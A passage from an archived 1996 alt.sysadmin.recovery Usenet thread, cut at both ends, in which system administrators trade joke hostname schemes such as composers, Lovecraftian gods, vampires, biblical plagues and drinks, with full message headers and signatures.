Panix Lines: 20 Message-ID: <4pt5dj$pbr@panix.com> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> <4ppc4s$bh@motif.xs4all.nl> <4pr7bb$fad@mod-serv.dfki.uni-sb.de> NNTP-Posting-Host: panix.com In article <4pr7bb$fad@mod-serv.dfki.uni-sb.de>, Stephan Neuhaus wrote: >What was it that rvloon@motif.xs4all.nl (Ronald van Loon) wrote > in <4ppc4s$bh@motif.xs4all.nl>? Ah, yes: >>jac@panix.com (John Clear) writes: >>|[1] Yes, I know I use to many elipses... >>But not enough o's. >Or l's. Since we are picking on my lack of spelling ability, is grey spelled gray or grey? At work today someone complained that the console on grey was wedged, so I logged in and rebooted gray... Some BOFH in the past was kind enough to use both spellings as machine names...[1] John [1] Yes, I know I still am addicted to using lots of ...'s -- John Clear - jac@panix.com PP-ASEL 1Lt, CAP-NYW http://www.panix.com/~jac "They're all lawyers, and think that the laws of physics can be amended with a voice vote." -- Mary Shafer (shafer@ursa-major.spdcc.com) on Politicians From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:15 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!newsjunkie.ans.net!newsfeeds.ans.net!rcogate.rco.qc.ca!chinook.Generation.NET!news.ac.net!news.cais.net!news.sprintlink.net!news-dc-2.sprintlink.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!act.news.telstra.net!vic.news.telstra.net!news.mira.net.au!news.mel.connect.com.au!munnari.OZ.AU!metro!metro!seagoon.newcastle.edu.au!brushtail.hna.com.au!matt From: matt@hna.com.au (Matt McLeod) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 16 Jun 1996 05:08:51 GMT Organization: Hunter Network Association, Australia Lines: 11 Message-ID: References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> <4ppc4s$bh@motif.xs4all.nl> <4pr7bb$fad@mod-serv.dfki.uni-sb.de> <4pt5dj$pbr@panix.com> NNTP-Posting-Host: praetor.hna.com.au X-Newsreader: slrn (0.8.8.2 UNIX) On 14 Jun 1996 21:59:15 -0400, John Clear wrote: >Since we are picking on my lack of spelling ability, is grey spelled >gray or grey? At work today someone complained that the console on >grey was wedged, so I logged in and rebooted gray... Some BOFH in >the past was kind enough to use both spellings as machine names...[1] IIRC, the real world uses "grey", and Norte Americanos use "gray". Matt From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:16 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!dimensional.com!not-for-mail From: tsalyers@dimensional.com (Tom Salyers) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 16:01:56 GMT Organization: Dimensional Communications Lines: 15 Message-ID: <4ppe1k$poi@quasar.dimensional.com> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> NNTP-Posting-Host: blackhole.dimensional.com X-Newsreader: TIN [UNIX 1.3 950824BETA PL0] John Clear (jac@panix.com) wrote: > Where I am working now, we have zeus and seuss (as in Dr.). It is fun > when one of the english-as-a-second-language engineers come and tell > you that they are having problems with 'souss'... One of the managers liked > the scheme, and now has noose as his machine... Goose and moose to > follow soon...[1] Just to *really* mess with your ESL engineers, call one machine "moose" and another "mousse"... -- Tom Salyers "Now is the Windows of our disk contents IRCnick: Aqualung Made glorious SimEarth by this Sun of Zork." Denver, CO --from _Richard v3.0_ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:16 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!news.sprintlink.net!new-news.sprintlink.net!newsreader.sprintlink.net!klingler From: klingler@crusader.int.sprintlink.net (David Klingler) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 17:07:37 GMT Organization: Mentiri Splendide Lines: 13 Message-ID: <4pphsp$rtp@newsreader.sprintlink.net> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> <4ppe1k$poi@quasar.dimensional.com> Reply-To: /dev/null NNTP-Posting-Host: fire1.sprintlink.net At my last job I received 7 Sun 386i computers[1] that had been at a site near the LA airport. All of these systems were full of black gunk. So I went for the obvious names: dirty, grimey, greasy, sticky, tacky, filthy, and stinky. People called them the seven bastard dwarves. [1] I use the term loosely. -- Saevis Tranquillus in Undis -David the Scarce From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:17 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!newsfeed.internetmci.com!news.intersurf.net!winter From: winter@jurai.net (Matthew N. Dodd) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 14 Jun 1996 09:06:36 GMT Organization: Jurai-Net Lines: 16 Message-ID: <4pra2s$arm@dim.intersurf.net> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> <4ppe1k$poi@quasar.dimensional.com> <4pphsp$rtp@newsreader.sprintlink.net> NNTP-Posting-Host: sasami.jurai.net X-Newsreader: TIN [version 1.2 PL2+color] David Klingler (klingler@crusader.int.sprintlink.net) wrote: : At my last job I received 7 Sun 386i computers[1] that had been at a site : near the LA airport. All of these systems were full of black gunk. So I went : for the obvious names: We've got two /250s in operation here. fixed.halo.net is on my bedroom floor, running a terminal. master.halo.net is in a computer room across town, running irc.bofh.net. Both names should be obvious. -- | Matthew N. Dodd | winter@jurai.net | http://www.jurai.net/~winter | | Technical Manager | mdodd@intersurf.net | http://www.intersurf.net | | InterSurf Online | "Welcome to the net Sir, would you like a handbasket?"| From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:18 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!uwm.edu!news.cse.psu.edu!news.eecs.nwu.edu!bonomi From: bonomi@eecs.nwu.edu (Robert Bonomi) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 20:32:29 GMT Organization: EE/CS Department, Northwestern University, Evanston, IL. Lines: 22 Message-ID: <4pptst$63a@news.eecs.nwu.edu> References: <4pi00a$cmn@turing.mathworks.com> <4po7sk$pa0@panix.com> <4ppe1k$poi@quasar.dimensional.com> NNTP-Posting-Host: delta.eecs.nwu.edu In article <4ppe1k$poi@quasar.dimensional.com>, Tom Salyers wrote: >John Clear (jac@panix.com) wrote: >> Where I am working now, we have zeus and seuss (as in Dr.). It is fun >> when one of the english-as-a-second-language engineers come and tell >> you that they are having problems with 'souss'... One of the managers liked >> the scheme, and now has noose as his machine... Goose and moose to >> follow soon...[1] > > Just to *really* mess with your ESL engineers, call one machine >"moose" and another "mousse"... then add 'mouse', and a couple of multi-processor machines named 'mice', and 'meese'. let 'em try to figure -that- out. > >-- >Tom Salyers "Now is the Windows of our disk contents >IRCnick: Aqualung Made glorious SimEarth by this Sun of Zork." >Denver, CO --from _Richard v3.0_ > From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:19 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!newsfeed.internetmci.com!howland.reston.ans.net!plug.news.pipex.net!pipex!tank.news.pipex.net!pipex!dispatch.news.demon.net!demon!news.thalgah.org!news.frost.org!orac.frost.net!matthewf From: matthewf@frost.org (Matthew Frost) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 17:58:23 GMT Organization: Frost Networking Systems Lines: 15 Message-ID: <4pn0fv$5rg@orac.frost.net> References: <4pi00a$cmn@turing.mathworks.com> NNTP-Posting-Host: orac.frost.net X-NNTP-Posting-Host: kayless.thalgah.org X-Newsreader: TIN [version 1.2 PL2] Alan Reichert (alan@mattress.atww.org) wrote: : Caroline Brossi Yates (cbr@mathworks.com) wrote: : : hostnames... how about noises as mach names, i.e. : : plop, erm, sproing, ack, boff, crunch, tinkle, swik, pphhhhtt. : I already know of a few machines like this - boink, splat, and squish. Indeed, the four machines in our news cluster at Demon in the UK are called "wallop", "crash", "bang" and "kaboom" - I'll have to pop downstairs and ask what the next one in the series will be. Regards, Matthew -- Matthew Frost NetBSD/i386 http://www.frost.org/ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:20 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!uunet!in1.uu.net!news.interlog.com!not-for-mail From: gorilla@elaine.drink.com (Alan Barclay) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 14 Jun 1996 00:24:28 -0400 Organization: Gorilla & Hamster Zoo of Toronto Lines: 34 Message-ID: <4pqphs$djn@elaine.drink.com> References: <4pi00a$cmn@turing.mathworks.com> <4pn0fv$5rg@orac.frost.net> NNTP-Posting-Host: elaine.drink.com In article <4pn0fv$5rg@orac.frost.net>, Matthew Frost wrote: > >Indeed, the four machines in our news cluster at Demon in the UK are >called "wallop", "crash", "bang" and "kaboom" - I'll have to pop >downstairs and ask what the next one in the series will be. Once, totally fedup with sending syscore's off to a manufacturer who will remain nameless[1], but was totally unable to diagnose a system which was crashing due to the streams buffer's filling up[2], we decided to name the core dump wallop, and the the running[3] kernel bang, just so the dweep would have to type "crash bang wallop". Kept us amused for a couple of hours[4]. [1] 3 letters, and no longer known as AT&T[5]. [2] Eventually found the problem was due to printers sending out a continuous stream of X-Off's while they were offline[7] [3] Or to be more precise, the crashing kernel. [4] Until the next time it crashed [5] I can't remember if they were owned by AT&T at the point, or if it was before the mistake. [6] There is no footnote 6 [7] Due to predecessor's insistance on the printer manufacturer changing the way it worked, before the change, it worked just like every other device in the world! From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:21 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!newsserver.jvnc.net!news.rowan.edu!news From: klein@mars.rowan.edu (Bruce Klein) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: Tue, 11 Jun 1996 21:22:03 GMT Organization: Rowan College of New Jersey Lines: 16 Message-ID: <4pknur$561@cobain.rowan.edu> References: <1996Jun3.132417@specialix.co.uk> <4ovpne$nte@nntp4.u.washington.edu> <4p9vpd$iub@hume.nmia.com> <4pcbln$dmn@zeus.tcp.co.uk> NNTP-Posting-Host: eniac.rowan.edu X-Newsreader: Forte Free Agent 1.0.82 >> I've used composers: Bach, Brahms, Mahler. My boss complains that he has >> trouble spelling them: 'not everyone is as operatically literate [sic] as >> you.' The other day I pointed out that he should be grateful I didn't use >> Rachmaninov, Shostakovich and Dohnanyi. >Physicists. (We have no imagination). Galileo, Newton, Einstein, >Maxwell, Boltzman, Alpher, Bethe, Gamow. On of the grad students got to >name his X-term: Zamolodchikov. We have two themes we use: mythical dieties - Zeus, Thor, Saturn, Venus, etc. dead musicians - Elvis, lennon, holly, cab, hendrix, muddy, valens, cass, janis ... From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:21 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!news1.erols.com!sachs From: ges6@po.cwru.edu (Greg Sachs) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: Wed, 12 Jun 96 02:54:31 GMT Organization: Erols Internet Services Lines: 10 Message-ID: <4plbi1$8eq@news15.erols.com> References: <1996Jun3.132417@specialix.co.uk> <4ovpne$nte@nntp4.u.washington.edu> <4p9vpd$iub@hume.nmia.com> <4pcbln$dmn@zeus.tcp.co.uk> <4pknur$561@cobain.rowan.edu> NNTP-Posting-Host: pppb123.erols.com X-Newsreader: News Xpress 2.0 Beta #0 In article <4pknur$561@cobain.rowan.edu>, klein@mars.rowan.edu (Bruce Klein) wrote: >>> I've used composers: Bach, Brahms, Mahler. My boss complains that he has >>> trouble spelling them: 'not everyone is as operatically literate [sic] as >>> you.' The other day I pointed out that he should be grateful I didn't use >>> Rachmaninov, Shostakovich and Dohnanyi. >We have two themes we use: >mythical dieties - Zeus, Thor, Saturn, Venus, etc. ^^^^^^^^^^^^^^^^^ Is there another sort? greg Not to troll or anything, but... From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:22 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!usenet.eel.ufl.edu!tank.news.pipex.net!pipex!dish.news.pipex.net!pipex!news.fastnet.co.uk!not-for-mail From: sean@fastnet.co.uk (Sean B Purdy) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 12:16:16 +0100 Organization: FastNet International Ltd, Brighton, England Lines: 14 Message-ID: <4pm8u0$5vu@zombie.fastnet.co.uk> References: <1996Jun3.132417@specialix.co.uk> <4ovpne$nte@nntp4.u.washington.edu> <4p9vpd$iub@hume.nmia.com> <4pcbln$dmn@zeus.tcp.co.uk> <4pknur$561@cobain.rowan.edu> <4plbi1$8eq@news15.erols.com> NNTP-Posting-Host: zombie.fastnet.co.uk X-Newsreader: TIN [version 1.2 PL2] Recently, the esteemed Greg Sachs, ges6@po.cwru.edu, imparted: : In article <4pknur$561@cobain.rowan.edu>, klein@mars.rowan.edu : (Bruce Klein) wrote: : >We have two themes we use: : >mythical dieties - Zeus, Thor, Saturn, Venus, etc. : ^^^^^^^^^^^^^^^^^ Is there another sort? ObFusc: Well how did Oprah do it then? Sean -- Sean B Purdy, system administrator sean@fastnet.co.uk +++ ????? +++ Out of Cheese Error. Redo from Start. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:23 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!uuneo.neosoft.com!insync!news.io.com!news From: dfloyd@io.com (Douglas R. Floyd) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 18:34:08 -0500 Organization: Illuminati Online Lines: 24 Message-ID: <4pnk5g$hbt@shangri-la.io.com> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pknur$561@cobain.rowan.edu> NNTP-Posting-Host: shangri-la.io.com In article <4pknur$561@cobain.rowan.edu>, Bruce Klein wrote: > >We have two themes we use: >mythical dieties - Zeus, Thor, Saturn, Venus, etc. >dead musicians - Elvis, lennon, holly, cab, hendrix, muddy, valens, >cass, janis ... > ryleh -- my noodling around box. cthulhu -- dead 386 in corner -- until I get the domain online it will remain dead as IO uses the name. baal -- Apple //c tyranthraxus -- Mac SE (don't ask) hastur -- (will possibly buy soon if finances are okay) [1] [1] Hint: "Danger, Will Robinson, Danger" [2] [2] If you don't get this one right away, be happy. -- Douglas R. Floyd Doug the Doomed Disclaimer: I speak for myself, not for my employer(s). Unsolicited, commercial "junk mail" will be read for a $500 fee. NOTE: New PGP key, old ones were revoked... finger dfloyd@io.com for them. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:24 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!newsjunkie.ans.net!newsfeeds.ans.net!rcogate.rco.qc.ca!chinook.Generation.NET!news.ac.net!news1.erols.com!hunter.premier.net!newsfeed.internetmci.com!news.msfc.nasa.gov!sol.ctr.columbia.edu!startide.ctr.columbia.edu!wpaul From: wpaul@ctr.columbia.edu (Bill Paul) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 14:30:16 GMT Organization: Columbia University Center for Telecommunications Research Lines: 50 Message-ID: <4pp8lo$hlu@sol.ctr.columbia.edu> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pknur$561@cobain.rowan.edu> <4pnk5g$hbt@shangri-la.io.com> NNTP-Posting-Host: startide.ctr.columbia.edu X-Newsreader: TIN [version 1.2 PL2] Daring to challenge the will of the almighty Leviam00se, Douglas R. Floyd (dfloyd@io.com) had the courage to say: : In article <4pknur$561@cobain.rowan.edu>, : Bruce Klein wrote: : > : >We have two themes we use: : >mythical dieties - Zeus, Thor, Saturn, Venus, etc. : >dead musicians - Elvis, lennon, holly, cab, hendrix, muddy, valens, : >cass, janis ... : > : ryleh -- my noodling around box. : cthulhu -- dead 386 in corner -- until I get the domain online it will : remain dead as IO uses the name. : baal -- Apple //c : tyranthraxus -- Mac SE (don't ask) : hastur -- (will possibly buy soon if finances are okay) [1] I suppose I should offer contributions from our net. Sun gave us five SPARCstation 5 boxes a while back (yes, gave. Really) and shipped us Slowlaris 2.3 (*spit*) as the OS. Two of them had 85Mhz microSPARC CPUs and 1GB disks, the others had 70Mhz microSPARC CPUs and 500MB disks. The two 85Mhz machines became akasha and enkil. The three 70Mhz machines became lestat, marius and louis. (We later had a request from an Anne Rice fan to change her X-terminal's name to 'claudia.') The only other mildly amusing scheme we have is for the networked HP printers. These are all named after the plagues god inflicted on the egyptians as described in the bible, hence: boil, frog, blood, death, darkness, locust, and hail. There were ten plagues, so we still have a few left to accomodate new printers. (Actually, death is not in the DNS database: it's assigned to our Tektronics solid-ink color printer (aka The Color Printer Of Death). It doesn't have a network interface, but it was included in the scheme for various reasons, the least of which being that it doesn't work worth a damn.) -Bill -- ============================================================================= -Bill Paul (212) 854-6020 | System Manager, Master of Unix-Fu Work: wpaul@ctr.columbia.edu | Center for Telecommunications Research Home: wpaul@skynet.ctr.columbia.edu | Columbia University, New York City ============================================================================= "If you're ever in trouble, go to the CTR. Ask for Bill. He will help you." ============================================================================= From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:25 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!uwm.edu!math.ohio-state.edu!news.cyberstore.ca!vortex.netbistro.com!grimm From: grimm@vortex.netbistro.com (Ernie Dunbar) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 15 Jun 1996 03:17:30 GMT Organization: Cyberstore Systems Inc. Lines: 23 Message-ID: <4pta0a$mbm@scipio.cyberstore.ca> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pknur$561@cobain.rowan.edu> <4pnk5g$hbt@shangri-la.io.com> <4pp8lo$hlu@sol.ctr.columbia.edu> NNTP-Posting-Host: 204.244.105.1 X-Newsreader: TIN [version 1.2 PL2] Bill Paul (wpaul@ctr.columbia.edu) further added to the brawl: : The only other mildly amusing scheme we have is for the networked : HP printers. These are all named after the plagues god inflicted on : the egyptians as described in the bible, hence: boil, frog, blood, : death, darkness, locust, and hail. There were ten plagues, so we still : have a few left to accomodate new printers. (Actually, death is not : in the DNS database: it's assigned to our Tektronics solid-ink color : printer (aka The Color Printer Of Death). It doesn't have a network : interface, but it was included in the scheme for various reasons, : the least of which being that it doesn't work worth a damn.) If you had a particularly small network that would not be expanded in the forseeable future, the Four Horsemen of the Apocalypse theme would work. For those who don't know: Death, Pestilence, War, and Famine. What would be even better is if these machines had black cases. ------------------------------------------------------------------------- "Do I look like someone who cares what | It is interesting that I work in God thinks?" | one of the two industries in the | world that call their customers -- out of Hellraiser Bloodlines | "users." ------------------------------------------------------------------------- From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:26 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!imci2!news.internetMCI.com!newsfeed.internetmci.com!usenet.eel.ufl.edu!news.ultranet.com!bigboote.WPI.EDU!sidehack.gweep.net!not-for-mail From: mute@sidehack.gweep.net (Solipsist Nation) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 16 Jun 1996 15:15:36 -0400 Organization: GweepNet, the GweepCo Cooperative Network - Worcester, MA Lines: 10 Message-ID: <4q1mgo$o22@sidehack.gweep.net> References: <4pknur$561@cobain.rowan.edu> <4pnk5g$hbt@shangri-la.io.com> <4pp8lo$hlu@sol.ctr.columbia.edu> NNTP-Posting-Host: sidehack.gweep.net My home machines are feersum.gweep.net and vavatch.gweep.net. (vavatch has hard disks named "The Crow Road" and "The Bridge.") I'm really just posting this to see who gets the references. Josh -- ...said it was heaven just to breathe your air Severed Heads J. Brandt - mute@sidehack.gweep.net From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:27 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!nntp.primenet.com!news1.best.com!nntp1.best.com!shellx.best.com!not-for-mail From: durrell@shellx.best.com (Bryant Durrell) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 16 Jun 1996 15:58:15 -0700 Organization: Semiotic Marines, Altoid Squad Lines: 14 Message-ID: <4q23i7$dmo@shellx.best.com> References: <4pnk5g$hbt@shangri-la.io.com> <4pp8lo$hlu@sol.ctr.columbia.edu> <4q1mgo$o22@sidehack.gweep.net> NNTP-Posting-Host: shellx.best.com In article <4q1mgo$o22@sidehack.gweep.net>, Solipsist Nation wrote: >My home machines are feersum.gweep.net and vavatch.gweep.net. (vavatch has >hard disks named "The Crow Road" and "The Bridge.") > >I'm really just posting this to see who gets the references. Banks, Iain Banks. -- Bryant Durrell http://www.innocence.com/ durrell@innocence.com ------------------------------------------------------------------------------ CRITIC, n. A person who boasts himself hard to please because nobody tries to please him. -- Ambrose Bierce From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:28 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!arclight.uoregon.edu!news.sprintlink.net!news-stk-200.sprintlink.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!newsfeeder.gi.net!news.mid.net!mr.net!uunet!in2.uu.net!world!news.bu.edu!transfer.stratus.com!news3.near.net!bigboote.WPI.EDU!sidehack.gweep.net!not-for-mail From: mute@sidehack.gweep.net (Solipsist Nation) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 16 Jun 1996 19:27:28 -0400 Organization: GweepNet, the GweepCo Cooperative Network - Worcester, MA Lines: 11 Message-ID: <4q2590$osh@sidehack.gweep.net> References: <4pp8lo$hlu@sol.ctr.columbia.edu> <4q1mgo$o22@sidehack.gweep.net> <4q23i7$dmo@shellx.best.com> NNTP-Posting-Host: sidehack.gweep.net In article <4q23i7$dmo@shellx.best.com>, Bryant Durrell wrote: > >Banks, Iain Banks. Yup-- you win! Josh -- ...said it was heaven just to breathe your air Severed Heads J. Brandt - mute@sidehack.gweep.net From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:29 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!mr.net!news2.cais.net!news.cais.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!tank.news.pipex.net!pipex!dispatch.news.demon.net!demon!mail2news.demon.co.uk!arkane.demon.co.uk From: "Alistair J. R. Young" Newsgroups: alt.sysadmin.recovery,arkane.replies Subject: Re: hostnames Date: Fri, 14 Jun 1996 22:40:12 GMT Organization: Arkane Systems Lines: 20 Approved: news@arkane.demon.co.uk Distribution: world Message-ID: <2B90rX$0CN@esther.arkane.co.uk> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pknur$561@cobain.rowan.edu> <4pnk5g$hbt@shangri-la.io.com> Reply-To: avatar@arkane.demon.co.uk X-NNTP-Posting-Host: arkane.demon.co.uk Received-Date: Fri, 14 Jun 96 23:50:02 +0100 X-Arkane-Path: bofh.dot!arkane-co!demandred!arkane-net!esther!avatar!not-for-mail X-Newsreader: IBM NewsReader/2 v1.4 X-Nntpdaemon: changi 0.9 for OS/2 X-Mail2News-Path: relay-4.mail.demon.net!post.demon.co.uk!arkane.demon.co.uk In <4pnk5g$hbt@shangri-la.io.com>, dfloyd@io.com (Douglas R. Floyd) writes: [snip] >tyranthraxus -- Mac SE (don't ask) Did you play the game, or buy the book [1] ? Alistair [1] Probably the worst five quid I've ever spent in a railway station. -- Alistair Young - Arkane Systems Software Development & PC Consultancy The opinions above ARE my company's, because I OWN it! [Team OS/2] e-mail: avatar@arkane.demon.co.uk; Phone/Fax: +44 (1833) 638233 (24 hr.) "This is my ceremonial bone-pit. It contains the bones of a member of each of the sentient races I have personally exterminated." - Ur-Quan Kohr-Ah, SCII From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:30 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!mr.net!sgigate.sgi.com!swrinde!howland.reston.ans.net!nntp.coast.net!news.kei.com!newsfeed.internetmci.com!uuneo.neosoft.com!insync!news.io.com!io.com!not-for-mail From: dfloyd@io.com (Douglas R. Floyd) Newsgroups: alt.sysadmin.recovery,arkane.replies Subject: Re: hostnames Date: 15 Jun 1996 11:42:22 -0500 Organization: Illuminati Online Lines: 17 Message-ID: <4pup5e$f33@bermuda.io.com> References: <4pknur$561@cobain.rowan.edu> <4pnk5g$hbt@shangri-la.io.com> <2B90rX$0CN@esther.arkane.co.uk> NNTP-Posting-Host: bermuda.io.com In article <2B90rX$0CN@esther.arkane.co.uk>, Alistair J. R. Young wrote: >In <4pnk5g$hbt@shangri-la.io.com>, dfloyd@io.com (Douglas R. Floyd) writes: > >[snip] > >>tyranthraxus -- Mac SE (don't ask) > >Did you play the game, or buy the book [1] ? Unfortunately, the game. -- Douglas R. Floyd Doug the Doomed Disclaimer: I speak for myself, not for my employer(s). Unsolicited, commercial "junk mail" will be read for a $500 fee. NOTE: New PGP key, old ones were revoked... finger dfloyd@io.com for them. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:31 1996 Path: news.mindlink.net!van-bc!news2.cais.net!news.cais.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!yama.mcc.ac.uk!mbdtsmc From: mbdtsmc@hpd.ch.man.ac.uk (Matt Cooper) Newsgroups: alt.sysadmin.recovery,arkane.replies Subject: Re: hostnames Followup-To: alt.sysadmin.recovery,arkane.replies Date: 15 Jun 1996 19:41:18 GMT Organization: Laughable Lines: 41 Distribution: world Message-ID: <4pv3ku$kh0@yama.mcc.ac.uk> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pknur$561@cobain.rowan.edu> <4pnk5g$hbt@shangri-la.io.com> <2B90rX$0CN@esther.arkane.co.uk> NNTP-Posting-Host: mchhpf.ch.man.ac.uk X-Newsreader: TIN [version 1.2 PL2] Alistair J. R. Young (avatar@arkane.demon.co.uk) wrote: > In <4pnk5g$hbt@shangri-la.io.com>, dfloyd@io.com (Douglas R. Floyd) writes: > [1] Probably the worst five quid I've ever spent in a railway station. So you've never bought a pint[1] of bitter[2] in a `RailTrack'[3] franchised[4] bar then? Matt Footnotes for our American listeners[8]: [1] That's the standard unit for supplying beer. [2] That's proper beer. [3] What used to be the part of the national railways which owned the lines themselves and which has now been sold off into the private sector because the British government is, apparently, unable to keep hold of anything it owns in our name. [5] [4] neither is `RailTrack'. [5] Oooh...bit of politics there...[6] [6] A `catch phrase' used by Ben Elton[7] [7] Fairly famous British stand-up comedian and comedy script writer. [8] Yes, I know that should be readers but...what the hell! -- "If it's worth doing, it's worth doing for money." -- Ferengi Rules of Acquisition, no. 13 =============================================================================== Matt Cooper Theoretical Chemistry Group Telephone: (+44) 161-275-4681 Department of Chemistry FAX: (+44) 161-275-4734 University of Manchester email: mbdtsmc@hpf.ch.man.ac.uk United Kingdom =============================================================================== finger mbdtsmc@hpf.ch.man.ac.uk for PGP public key From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:32 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.cais.net!mr.net!sgigate.sgi.com!news-res.gsl.net!news.gsl.net!nntp.coast.net!news.kei.com!newsfeed.internetmci.com!in1.uu.net!ulowell.uml.edu!umassd.edu!umass.edu!nic.umass.edu!asimov.oit.umass.edu!not-for-mail From: mgcarrol@asimov.oit.umass.edu (Mark) Newsgroups: alt.sysadmin.recovery,arkane.replies Subject: Re: hostnames Followup-To: alt.sysadmin.recovery,arkane.replies Date: 16 Jun 1996 09:45:42 GMT Organization: University of Massachusetts, Amherst Lines: 12 Distribution: world Message-ID: <4q0l46$m6s@nic.umass.edu> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pknur$561@cobain.rowan.edu> <4pnk5g$hbt@shangri-la.io.com> <2B90rX$0CN@esther.arkane.co.uk> NNTP-Posting-Host: asimov.oit.umass.edu X-Newsreader: TIN [UNIX 1.3 950824BETA PL0] Alistair J. R. Young (avatar@arkane.demon.co.uk) wrote: : In <4pnk5g$hbt@shangri-la.io.com>, dfloyd@io.com (Douglas R. Floyd) writes: : : [snip] : its been done before, but its still my favorite... whisky, vodka, gin and tonic, etc especially at an "educational institution" -- Mark Carroll Coffee is good. BSD is good. Hendrix is good. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:33 1996 Path: 